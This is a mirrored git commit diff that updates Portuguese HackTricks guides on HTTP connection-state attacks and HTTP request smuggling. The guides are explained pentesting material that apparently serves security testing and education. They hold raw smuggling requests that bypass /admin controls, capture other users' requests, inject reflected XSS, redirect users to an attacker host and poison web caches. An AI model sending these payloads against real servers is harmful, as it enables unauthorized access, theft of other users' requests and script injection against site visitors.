Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-24 05:33:33 +00:00
Code Issues Projects Releases Packages Wiki Activity

Translated ['pentesting-web/http-connection-request-smuggling.md', 'pent

Browse source
This commit is contained in:
Translator 2024-03-25 01:49:08 +00:00
parent 4d184572db
commit 45b19b92d9
5 changed files with 364 additions and 114 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

BIN
.gitbook/assets/image (729).png Normal file
View file

Binary file not shown.
Side by side

After

Width:  |  Height:  |  Size: 492 KiB

21
pentesting-web/http-connection-request-smuggling.md
View file

@ -7,29 +7,29 @@
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
**Este é um resumo do post [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)**
**Este é um resumo do post** [**https://portswigger.net/research/browser-powered-desync-attacks**](https://portswigger.net/research/browser-powered-desync-attacks)
## Ataques de Estado de Conexão <a href="#state" id="state"></a>
### Validação do Primeiro Pedido
Ao rotear solicitações, proxies reversos podem depender do **cabeçalho Host** para determinar o servidor de back-end de destino, muitas vezes confiando em uma lista branca de hosts que têm permissão de acesso. No entanto, existe uma vulnerabilidade em alguns proxies onde a lista branca é aplicada apenas na solicitação inicial em uma conexão. Consequentemente, os atacantes poderiam explorar isso fazendo primeiro uma solicitação a um host permitido e, em seguida, solicitando um site interno pela mesma conexão:
```text
Ao rotear solicitações, proxies reversos podem depender do **cabeçalho Host** para determinar o servidor de back-end de destino, muitas vezes confiando em uma lista branca de hosts que têm permissão de acesso. No entanto, uma vulnerabilidade existe em alguns proxies onde a lista branca é aplicada apenas na solicitação inicial em uma conexão. Consequentemente, os atacantes poderiam explorar isso fazendo primeiro uma solicitação a um host permitido e depois solicitando um site interno pela mesma conexão:
```
GET / HTTP/1.1
Host: [allowed-external-host]
GET / HTTP/1.1
Host: [internal-host]
```
### Roteamento de Primeira Requisição
### Roteamento do Primeiro Pedido
Em algumas configurações, um servidor front-end pode usar o **cabeçalho Host da primeira requisição** para determinar o roteamento do back-end para essa requisição e, em seguida, rotear persistentemente todas as requisições subsequentes da mesma conexão do cliente para a mesma conexão do back-end. Isso pode ser demonstrado como:
```text
Em algumas configurações, um servidor front-end pode usar o **cabeçalho Host do primeiro pedido** para determinar o roteamento do back-end para esse pedido e, em seguida, rotear persistentemente todos os pedidos subsequentes da mesma conexão do cliente para a mesma conexão do back-end. Isso pode ser demonstrado como:
```
GET / HTTP/1.1
Host: example.com
@ -42,7 +42,6 @@ Este problema pode ser potencialmente combinado com [ataques de cabeçalho de ho
Para identificar essas vulnerabilidades, o recurso 'connection-state probe' no HTTP Request Smuggler pode ser utilizado.
{% endhint %}
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
@ -50,7 +49,7 @@ Para identificar essas vulnerabilidades, o recurso 'connection-state probe' no H
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

196
pentesting-web/http-request-smuggling/README.md
View file

@ -10,14 +10,14 @@ Outras maneiras de apoiar o HackTricks:
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas dicas de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* **Compartilhe suas dicas de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
## O que é
Essa vulnerabilidade ocorre quando uma **desincronização** entre **proxies de front-end** e o **servidor de back-end** permite que um **atacante** envie uma **solicitação HTTP** que será **interpretada** como uma **única solicitação** pelos **proxies de front-end** (balanceador de carga/proxy reverso) e **como 2 solicitações** pelo **servidor de back-end**.\
Isso permite que um usuário **modifique a próxima solicitação que chega ao servidor de back-end depois da dele**.
Essa vulnerabilidade ocorre quando uma **dessincronização** entre **proxies de front-end** e o **servidor de back-end** permite que um **atacante** envie uma **requisição HTTP** que será **interpretada** como uma **única requisição** pelos **proxies de front-end** (balanceador de carga/proxy reverso) e **como 2 requisições** pelo **servidor de back-end**.\
Isso permite que um usuário **modifique a próxima requisição que chega ao servidor de back-end depois da dele**.
### Teoria
@ -27,7 +27,7 @@ Isso permite que um usuário **modifique a próxima solicitação que chega ao s
**Content-Length**
> O cabeçalho da entidade Content-Length indica o tamanho do corpo da entidade, em bytes, enviado ao destinatário.
> O cabeçalho de entidade Content-Length indica o tamanho do corpo da entidade, em bytes, enviado ao destinatário.
**Transfer-Encoding: chunked**
@ -36,16 +36,16 @@ Isso permite que um usuário **modifique a próxima solicitação que chega ao s
### Realidade
O **Front-End** (um balanceador de carga / Proxy Reverso) **processa** o cabeçalho _**content-length**_ ou o cabeçalho _**transfer-encoding**_ e o **servidor de Back-End** **processa o outro** provocando uma **desincronização** entre os 2 sistemas.\
Isso pode ser muito crítico, pois **um atacante poderá enviar uma solicitação** para o proxy reverso que será **interpretada** pelo **servidor de back-end como 2 solicitações diferentes**. O **perigo** dessa técnica reside no fato de que o **servidor de back-end interpretará a 2ª solicitação injetada** como se ela **viesse do próximo cliente** e a **solicitação real** desse cliente fará **parte** da **solicitação injetada**.
O **Front-End** (um balanceador de carga / Proxy Reverso) **processa** o cabeçalho _**content-length**_ ou o cabeçalho _**transfer-encoding**_ e o **servidor de Back-End** **processa o outro** provocando uma **dessincronização** entre os 2 sistemas.\
Isso pode ser muito crítico, pois **um atacante poderá enviar uma requisição** para o proxy reverso que será **interpretada** pelo **servidor de back-end como 2 requisições diferentes**. O **perigo** dessa técnica reside no fato de que o **servidor de back-end interpretará a 2ª requisição injetada** como se ela **viesse do próximo cliente** e a **requisição real** desse cliente fará **parte** da **requisição injetada**.
### Particularidades
Lembre-se de que no HTTP **um caractere de nova linha é composto por 2 bytes:**
* **Content-Length**: Esse cabeçalho usa um **número decimal** para indicar o **número** de **bytes** do **corpo** da solicitação. O corpo é esperado para terminar no último caractere, **uma nova linha não é necessária no final da solicitação**.
* **Transfer-Encoding:** Esse cabeçalho usa no **corpo** um **número hexadecimal** para indicar o **número** de **bytes** do **próximo chunk**. O **chunk** deve **terminar** com uma **nova linha**, mas essa nova linha **não é contada** pelo indicador de comprimento. Este método de transferência deve terminar com um **chunk de tamanho 0 seguido por 2 novas linhas**: `0`
* **Connection**: Com base em minha experiência, é recomendado usar **`Connection: keep-alive`** na primeira solicitação do Request Smuggling.
* **Content-Length**: Esse cabeçalho usa um **número decimal** para indicar o **número** de **bytes** do **corpo** da requisição. O corpo é esperado para terminar no último caractere, **uma nova linha não é necessária no final da requisição**.
* **Transfer-Encoding:** Esse cabeçalho usa no **corpo** um **número hexadecimal** para indicar o **número** de **bytes** do **próximo chunk**. O **chunk** deve **terminar** com uma **nova linha**, mas essa nova linha **não é contada** pelo indicador de comprimento. Esse método de transferência deve terminar com um **chunk de tamanho 0 seguido por 2 novas linhas**: `0`
* **Connection**: Com base em minha experiência, é recomendado usar **`Connection: keep-alive`** na primeira requisição do Request Smuggling.
## Exemplos Básicos
@ -53,20 +53,20 @@ Lembre-se de que no HTTP **um caractere de nova linha é composto por 2 bytes:**
Ao tentar explorar isso com o Burp Suite, **desative `Update Content-Length` e `Normalize HTTP/1 line endings`** no repeater porque alguns gadgets abusam de novas linhas, retornos de carro e comprimentos de conteúdo malformados.
{% endhint %}
Os ataques de desincronização de solicitação HTTP são elaborados enviando solicitações ambíguas que exploram discrepâncias na forma como os servidores de front-end e back-end interpretam os cabeçalhos `Content-Length` (CL) e `Transfer-Encoding` (TE). Esses ataques podem se manifestar de diferentes formas, principalmente como **CL.TE**, **TE.CL** e **TE.TE**. Cada tipo representa uma combinação única de como os servidores de front-end e back-end priorizam esses cabeçalhos. As vulnerabilidades surgem do processamento das mesmas solicitações pelos servidores de maneiras diferentes, levando a resultados inesperados e potencialmente maliciosos.
Os ataques de desincronização de requisição HTTP são elaborados enviando requisições ambíguas que exploram discrepâncias na forma como os servidores de front-end e back-end interpretam os cabeçalhos `Content-Length` (CL) e `Transfer-Encoding` (TE). Esses ataques podem se manifestar em diferentes formas, principalmente como **CL.TE**, **TE.CL** e **TE.TE**. Cada tipo representa uma combinação única de como os servidores de front-end e back-end priorizam esses cabeçalhos. As vulnerabilidades surgem do processamento das mesmas requisições pelos servidores de maneiras diferentes, levando a resultados inesperados e potencialmente maliciosos.
### Exemplos Básicos de Tipos de Vulnerabilidade
### Exemplos Básicos de Tipos de Vulnerabilidades
![https://twitter.com/SpiderSec/status/1200413390339887104?ref\_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref\_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../.gitbook/assets/EKi5edAUUAAIPIK.jpg)
#### Vulnerabilidade CL.TE (Content-Length usado pelo Front-End, Transfer-Encoding usado pelo Back-End)
* **Front-End (CL):** Processa a solicitação com base no cabeçalho `Content-Length`.
* **Back-End (TE):** Processa a solicitação com base no cabeçalho `Transfer-Encoding`.
* **Front-End (CL):** Processa a requisição com base no cabeçalho `Content-Length`.
* **Back-End (TE):** Processa a requisição com base no cabeçalho `Transfer-Encoding`.
* **Cenário de Ataque:**
* O atacante envia uma solicitação em que o valor do cabeçalho `Content-Length` não corresponde ao comprimento real do conteúdo.
* O servidor de front-end encaminha a solicitação inteira para o back-end, com base no valor de `Content-Length`.
* O servidor de back-end processa a solicitação como chunked devido ao cabeçalho `Transfer-Encoding: chunked`, interpretando os dados restantes como uma solicitação separada e subsequente.
* O atacante envia uma requisição onde o valor do cabeçalho `Content-Length` não corresponde ao comprimento real do conteúdo.
* O servidor de front-end encaminha a requisição inteira para o back-end, com base no valor de `Content-Length`.
* O servidor de back-end processa a requisição como chunked devido ao cabeçalho `Transfer-Encoding: chunked`, interpretando os dados restantes como uma requisição separada e subsequente.
* **Exemplo:**
```
@ -84,12 +84,12 @@ Foo: x
#### Vulnerabilidade TE.CL (Transfer-Encoding usado pelo Front-End, Content-Length usado pelo Back-End)
* **Front-End (TE):** Processa a solicitação com base no cabeçalho `Transfer-Encoding`.
* **Back-End (CL):** Processa a solicitação com base no cabeçalho `Content-Length`.
* **Front-End (TE):** Processa a requisição com base no cabeçalho `Transfer-Encoding`.
* **Back-End (CL):** Processa a requisição com base no cabeçalho `Content-Length`.
* **Cenário de Ataque:**
* O atacante envia uma solicitação chunked em que o tamanho do chunk (`7b`) e o comprimento real do conteúdo (`Content-Length: 4`) não se alinham.
* O servidor de front-end, respeitando `Transfer-Encoding`, encaminha a solicitação inteira para o back-end.
* O servidor de back-end, respeitando `Content-Length`, processa apenas a parte inicial da solicitação (`7b` bytes), deixando o restante como parte de uma solicitação subsequente não intencional.
* O atacante envia uma requisição chunked onde o tamanho do chunk (`7b`) e o comprimento real do conteúdo (`Content-Length: 4`) não se alinham.
* O servidor de front-end, respeitando `Transfer-Encoding`, encaminha a requisição inteira para o back-end.
* O servidor de back-end, respeitando `Content-Length`, processa apenas a parte inicial da requisição (`7b` bytes), deixando o restante como parte de uma subsequente requisição não intencional.
* **Exemplo:**
```
@ -111,7 +111,7 @@ x=
```
#### Vulnerabilidade TE.TE (Transfer-Encoding usado por ambos, com obfuscação)
- **Servidores:** Ambos suportam `Transfer-Encoding`, mas um pode ser enganado para ignorá-lo por meio de obfuscação.
- **Servidores:** Ambos suportam `Transfer-Encoding`, mas um pode ser enganado para ignorá-lo através de obfuscação.
- **Cenário de Ataque:**
- O atacante envia uma solicitação com cabeçalhos de `Transfer-Encoding` obfuscados.
- Dependendo de qual servidor (front-end ou back-end) falha em reconhecer a obfuscação, uma vulnerabilidade CL.TE ou TE.CL pode ser explorada.
@ -135,10 +135,10 @@ Transfer-Encoding
: chunked
```
#### **Cenário CL.CL (Content-Length usado por ambos Front-End e Back-End):**
#### **Cenário CL.CL (Content-Length usado por ambos, Front-End e Back-End):**
- Ambos os servidores processam a solicitação com base exclusivamente no cabeçalho `Content-Length`.
- Este cenário geralmente não leva ao contrabando, pois há alinhamento na forma como ambos os servidores interpretam o comprimento da solicitação.
- Este cenário geralmente não leva ao contrabando, pois há alinhamento na interpretação do comprimento da solicitação por ambos os servidores.
- **Exemplo:**
```
@ -152,7 +152,7 @@ Solicitação Normal
#### **Cenário CL != 0:**
- Refere-se a cenários em que o cabeçalho `Content-Length` está presente e tem um valor diferente de zero, indicando que o corpo da solicitação contém conteúdo.
- Refere-se a cenários em que o cabeçalho `Content-Length` está presente e tem um valor diferente de zero, indicando que o corpo da solicitação possui conteúdo.
- É crucial para entender e elaborar ataques de contrabando, pois influencia como os servidores determinam o final de uma solicitação.
- **Exemplo:**
@ -179,7 +179,7 @@ Para **mais informações sobre cabeçalhos hop-by-hop** visite:
## Encontrando HTTP Request Smuggling
A identificação de vulnerabilidades de HTTP request smuggling pode frequentemente ser alcançada usando técnicas de temporização, que dependem de observar quanto tempo o servidor leva para responder a solicitações manipuladas. Essas técnicas são particularmente úteis para detectar vulnerabilidades CL.TE e TE.CL. Além desses métodos, existem outras estratégias e ferramentas que podem ser usadas para encontrar tais vulnerabilidades:
A identificação de vulnerabilidades de HTTP request smuggling frequentemente pode ser alcançada utilizando técnicas de temporização, que dependem de observar quanto tempo o servidor leva para responder a solicitações manipuladas. Essas técnicas são particularmente úteis para detectar vulnerabilidades CL.TE e TE.CL. Além desses métodos, existem outras estratégias e ferramentas que podem ser usadas para encontrar tais vulnerabilidades:
### Encontrando Vulnerabilidades CL.TE Usando Técnicas de Temporização
@ -223,12 +223,12 @@ X
```
* **Observação:**
* O servidor front-end processa a solicitação com base no `Transfer-Encoding` e encaminha a mensagem inteira.
* O servidor back-end, esperando uma mensagem com base no `Content-Length`, aguarda dados adicionais que nunca chegam, causando um atraso.
* O servidor back-end, esperando uma mensagem com base no `Content-Length`, aguarda por dados adicionais que nunca chegam, causando um atraso.
### Outros Métodos para Encontrar Vulnerabilidades
* **Análise Diferencial de Resposta:**
* Enviar versões ligeiramente variadas de uma solicitação e observar se as respostas do servidor diferem de maneira inesperada, indicando uma discrepância de análise.
* Enviar versões ligeiramente variadas de uma solicitação e observar se as respostas do servidor diferem de maneira inesperada, indicando uma discrepância na análise.
* **Usando Ferramentas Automatizadas:**
* Ferramentas como a extensão 'HTTP Request Smuggler' do Burp Suite podem testar automaticamente essas vulnerabilidades enviando várias formas de solicitações ambíguas e analisando as respostas.
* **Testes de Variação de Content-Length:**
@ -246,17 +246,15 @@ Ao testar vulnerabilidades de request smuggling interferindo em outras solicita
* **Conexões de Rede Distintas:** As solicitações "de ataque" e "normais" devem ser enviadas por conexões de rede separadas. Utilizar a mesma conexão para ambas não valida a presença da vulnerabilidade.
* **URL e Parâmetros Consistentes:** Procure usar URLs e nomes de parâmetros idênticos para ambas as solicitações. Aplicações modernas frequentemente roteiam solicitações para servidores back-end específicos com base no URL e parâmetros. Correspondendo a esses aumenta a probabilidade de que ambas as solicitações sejam processadas pelo mesmo servidor, um requisito para um ataque bem-sucedido.
* **Temporização e Condições de Corrida:** A solicitação "normal", destinada a detectar interferência da solicitação "de ataque", compete contra outras solicitações de aplicativos concorrentes. Portanto, envie a solicitação "normal" imediatamente após a solicitação "de ataque". Aplicações ocupadas podem exigir várias tentativas para confirmar a vulnerabilidade de forma conclusiva.
* **Temporização e Condições de Corrida:** A solicitação "normal", destinada a detectar interferência da solicitação "de ataque", compete com outras solicitações de aplicativos concorrentes. Portanto, envie a solicitação "normal" imediatamente após a solicitação "de ataque". Aplicações ocupadas podem exigir várias tentativas para confirmar a vulnerabilidade de forma conclusiva.
* **Desafios de Balanceamento de Carga:** Servidores front-end atuando como balanceadores de carga podem distribuir solicitações entre vários sistemas back-end. Se as solicitações "de ataque" e "normais" acabarem em sistemas diferentes, o ataque não terá sucesso. Este aspecto de balanceamento de carga pode exigir várias tentativas para confirmar uma vulnerabilidade.
* **Impacto Não Intencional no Usuário:** Se seu ataque impactar inadvertidamente a solicitação de outro usuário (não a solicitação "normal" enviada para detecção), isso indica que seu ataque influenciou outro usuário do aplicativo. Testes contínuos podem perturbar outros usuários, exigindo uma abordagem cautelosa.
* **Impacto Não Intencional no Usuário:** Se seu ataque impactar inadvertidamente a solicitação de outro usuário (não a solicitação "normal" que você enviou para detecção), isso indica que seu ataque influenciou outro usuário do aplicativo. Testes contínuos podem perturbar outros usuários, exigindo uma abordagem cautelosa.
## Abusando do HTTP Request Smuggling
### Para contornar controles de segurança front-end
### Contornando a Segurança Front-End via HTTP Request Smuggling
Às vezes, proxies front-end impõem medidas de segurança, examinando as solicitações recebidas. No entanto, essas medidas podem ser contornadas explorando o HTTP Request Smuggling, permitindo acesso não autorizado a endpoints restritos. Por exemplo, acessar `/admin` pode ser proibido externamente, com o proxy front-end bloqueando ativamente tais tentativas. No entanto, esse proxy pode negligenciar inspecionar solicitações incorporadas dentro de uma solicitação HTTP contrabandeada, deixando uma brecha para contornar essas restrições.
Às vezes, proxies front-end aplicam medidas de segurança, analisando as solicitações recebidas. No entanto, essas medidas podem ser contornadas explorando o HTTP Request Smuggling, permitindo acesso não autorizado a endpoints restritos. Por exemplo, acessar `/admin` pode ser proibido externamente, com o proxy front-end bloqueando ativamente tais tentativas. No entanto, esse proxy pode negligenciar inspecionar solicitações incorporadas dentro de uma solicitação HTTP contrabandeada, deixando uma brecha para contornar essas restrições.
Considere os exemplos a seguir ilustrando como o HTTP Request Smuggling pode ser usado para contornar controles de segurança front-end, visando especificamente o caminho `/admin` que geralmente é protegido pelo proxy front-end:
@ -277,7 +275,7 @@ Content-Length: 10
x=
```
No ataque CL.TE, o cabeçalho `Content-Length` é utilizado para a requisição inicial, enquanto a requisição incorporada subsequente utiliza o cabeçalho `Transfer-Encoding: chunked`. O proxy de front-end processa a requisição `POST` inicial, mas falha em inspecionar a requisição `GET /admin` incorporada, permitindo acesso não autorizado ao caminho `/admin`.
No ataque CL.TE, o cabeçalho `Content-Length` é utilizado para a requisição inicial, enquanto a requisição embutida subsequente utiliza o cabeçalho `Transfer-Encoding: chunked`. O proxy de front-end processa a requisição `POST` inicial, mas falha em inspecionar a requisição `GET /admin` embutida, permitindo acesso não autorizado ao caminho `/admin`.
**Exemplo TE.CL**
```
@ -295,7 +293,7 @@ a=x
0
```
Por outro lado, no ataque TE.CL, a solicitação `POST` inicial usa `Transfer-Encoding: chunked`, e a solicitação incorporada subsequente é processada com base no cabeçalho `Content-Length`. Semelhante ao ataque CL.TE, o proxy de front-end ignora a solicitação `GET /admin` contrabandeada, concedendo inadvertidamente acesso ao caminho restrito `/admin`.
Por outro lado, no ataque TE.CL, o pedido `POST` inicial usa `Transfer-Encoding: chunked`, e o pedido incorporado subsequente é processado com base no cabeçalho `Content-Length`. Semelhante ao ataque CL.TE, o proxy de front-end ignora o pedido `GET /admin` contrabandeado, concedendo inadvertidamente acesso ao caminho restrito `/admin`.
### Revelando a reescrita de solicitação de front-end <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
@ -320,9 +318,9 @@ search=
```
Nesta estrutura, os componentes de solicitação subsequentes são anexados após `search=`, que é o parâmetro refletido na resposta. Essa reflexão exporá os cabeçalhos da solicitação subsequente.
É importante alinhar o cabeçalho `Content-Length` da solicitação aninhada com o comprimento real do conteúdo. Começar com um valor pequeno e incrementar gradualmente é aconselhável, pois um valor muito baixo truncará os dados refletidos, enquanto um valor muito alto pode fazer com que a solicitação apresente erro.
É importante alinhar o cabeçalho `Content-Length` da solicitação aninhada com o comprimento real do conteúdo. Começar com um valor pequeno e aumentar gradualmente é aconselhável, pois um valor muito baixo truncará os dados refletidos, enquanto um valor muito alto pode fazer com que a solicitação apresente erro.
Essa técnica também é aplicável no contexto de uma vulnerabilidade TE.CL, mas a solicitação deve ser encerrada com `search=\r\n0`. Independentemente dos caracteres de nova linha, os valores serão anexados ao parâmetro de pesquisa.
Essa técnica também é aplicável no contexto de uma vulnerabilidade TE.CL, mas a solicitação deve terminar com `search=\r\n0`. Independentemente dos caracteres de nova linha, os valores serão anexados ao parâmetro de pesquisa.
Este método serve principalmente para entender as modificações de solicitação feitas pelo proxy de front-end, essencialmente realizando uma investigação autodirigida.
@ -356,12 +354,12 @@ No entanto, essa técnica tem limitações. Geralmente, ela captura dados apenas
Além disso, vale ressaltar que essa abordagem também é viável com uma vulnerabilidade TE.CL. Em tais casos, a solicitação deve ser concluída com `search=\r\n0`. Independentemente dos caracteres de nova linha, os valores serão anexados ao parâmetro de pesquisa.
### Usando o contrabando de solicitação HTTP para explorar XSS refletido
### Usando contrabando de solicitação HTTP para explorar XSS refletido
O Contrabando de Solicitação HTTP pode ser aproveitado para explorar páginas da web vulneráveis a **XSS Refletido**, oferecendo vantagens significativas:
* A interação com os usuários-alvo **não é necessária**.
* Permite a exploração de XSS em partes da solicitação que são **normalmente inacessíveis**, como os cabeçalhos de solicitação HTTP.
* Permite a exploração de XSS em partes da solicitação que são **normalmente inatingíveis**, como os cabeçalhos de solicitação HTTP.
Em cenários em que um site é suscetível a XSS Refletido por meio do cabeçalho User-Agent, a carga útil a seguir demonstra como explorar essa vulnerabilidade:
```
@ -384,16 +382,14 @@ Content-Type: application/x-www-form-urlencoded
A=
```
Este payload é estruturado para explorar a vulnerabilidade através de:
Este payload é estruturado para explorar a vulnerabilidade da seguinte forma:
1. Iniciar uma solicitação `POST`, aparentemente típica, com um cabeçalho `Transfer-Encoding: chunked` para indicar o início do smuggling.
2. Seguir com um `0`, marcando o final do corpo da mensagem chunked.
3. Em seguida, é introduzida uma solicitação `GET` contrabandeada, onde o cabeçalho `User-Agent` é injetado com um script, `<script>alert(1)</script>`, desencadeando o XSS quando o servidor processa essa solicitação subsequente.
1. Iniciando uma solicitação `POST`, aparentemente típica, com um cabeçalho `Transfer-Encoding: chunked` para indicar o início do smuggling.
2. Seguindo com um `0`, marcando o final do corpo da mensagem chunked.
3. Em seguida, é introduzida uma solicitação `GET` contrabandeada, onde o cabeçalho `User-Agent` é injetado com um script, `<script>alert(1)</script>`, acionando o XSS quando o servidor processa essa solicitação subsequente.
Ao manipular o `User-Agent` através do smuggling, o payload contorna as restrições normais da solicitação, explorando assim a vulnerabilidade de XSS Refletido de uma maneira não convencional, mas eficaz.
### Usando o HTTP request smuggling para transformar um redirecionamento no local em um redirecionamento aberto <a href="#using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect" id="using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect"></a>
### Explorando Redirecionamentos no Local com HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
As aplicações frequentemente redirecionam de uma URL para outra usando o nome do host do cabeçalho `Host` na URL de redirecionamento. Isso é comum em servidores web como Apache e IIS. Por exemplo, solicitar uma pasta sem uma barra final resulta em um redirecionamento para incluir a barra:
@ -406,7 +402,7 @@ Resultados em:
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
```
Embora aparentemente inofensivo, esse comportamento pode ser manipulado usando o contrabando de solicitações HTTP para redirecionar usuários para um site externo. Por exemplo:
Embora aparentemente inofensivo, esse comportamento pode ser manipulado usando o smuggling de solicitação HTTP para redirecionar usuários para um site externo. Por exemplo:
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -420,7 +416,7 @@ GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
```
Este pedido contrabandeado poderia fazer com que o próximo pedido de usuário processado seja redirecionado para um site controlado pelo atacante:
Esta solicitação contrabandeada poderia fazer com que a próxima solicitação de usuário processada seja redirecionada para um site controlado pelo atacante:
```
GET /home HTTP/1.1
Host: attacker-website.com
@ -432,17 +428,17 @@ Resultados em:
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
```
### Usando o contrabando de solicitação HTTP para realizar envenenamento de cache web <a href="#using-http-request-smuggling-to-perform-web-cache-poisoning" id="using-http-request-smuggling-to-perform-web-cache-poisoning"></a>
Neste cenário, a solicitação de um usuário para um arquivo JavaScript é sequestrada. O atacante pode potencialmente comprometer o usuário servindo JavaScript malicioso em resposta.
### Explorando o Envenenamento de Cache Web via Contrabando de Solicitação HTTP <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
### Explorando a Poluição de Cache da Web via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
O envenenamento de cache web pode ser executado se algum componente da **infraestrutura de front-end armazenar em cache conteúdo**, geralmente para melhorar o desempenho. Ao manipular a resposta do servidor, é possível **envenenar o cache**.
A poluição de cache da web pode ser executada se algum componente da **infraestrutura de front-end armazenar em cache conteúdo**, normalmente para melhorar o desempenho. Ao manipular a resposta do servidor, é possível **poluir o cache**.
Anteriormente, observamos como as respostas do servidor poderiam ser alteradas para retornar um erro 404 (consulte [Exemplos Básicos](./#basic-examples)). Da mesma forma, é viável enganar o servidor para entregar o conteúdo `/index.html` em resposta a uma solicitação para `/static/include.js`. Consequentemente, o conteúdo `/static/include.js` é substituído no cache pelo de `/index.html`, tornando o `/static/include.js` inacessível aos usuários, potencialmente levando a uma Negação de Serviço (DoS).
Essa técnica se torna particularmente potente se uma **vulnerabilidade de Redirecionamento Aberto** for descoberta ou se houver um **redirecionamento no local para um redirecionamento aberto**. Tais vulnerabilidades podem ser exploradas para substituir o conteúdo em cache de `/static/include.js` por um script sob o controle do atacante, essencialmente permitindo um ataque generalizado de Cross-Site Scripting (XSS) contra todos os clientes que solicitam o `/static/include.js` atualizado.
Abaixo está uma ilustração da exploração do **envenenamento de cache combinado com um redirecionamento no local para um redirecionamento aberto**. O objetivo é alterar o conteúdo em cache de `/static/include.js` para servir código JavaScript controlado pelo atacante:
Abaixo está uma ilustração da exploração da **poluição de cache combinada com um redirecionamento no local para um redirecionamento aberto**. O objetivo é alterar o conteúdo em cache de `/static/include.js` para servir código JavaScript controlado pelo atacante:
```
POST / HTTP/1.1
Host: vulnerable.net
@ -460,9 +456,9 @@ Content-Length: 10
x=1
```
Observe a solicitação incorporada direcionada a `/post/next?postId=3`. Esta solicitação será redirecionada para `/post?postId=4`, utilizando o **valor do cabeçalho Host** para determinar o domínio. Ao alterar o **cabeçalho Host**, o atacante pode redirecionar a solicitação para seu domínio (**redirecionamento no local para redirecionamento aberto**).
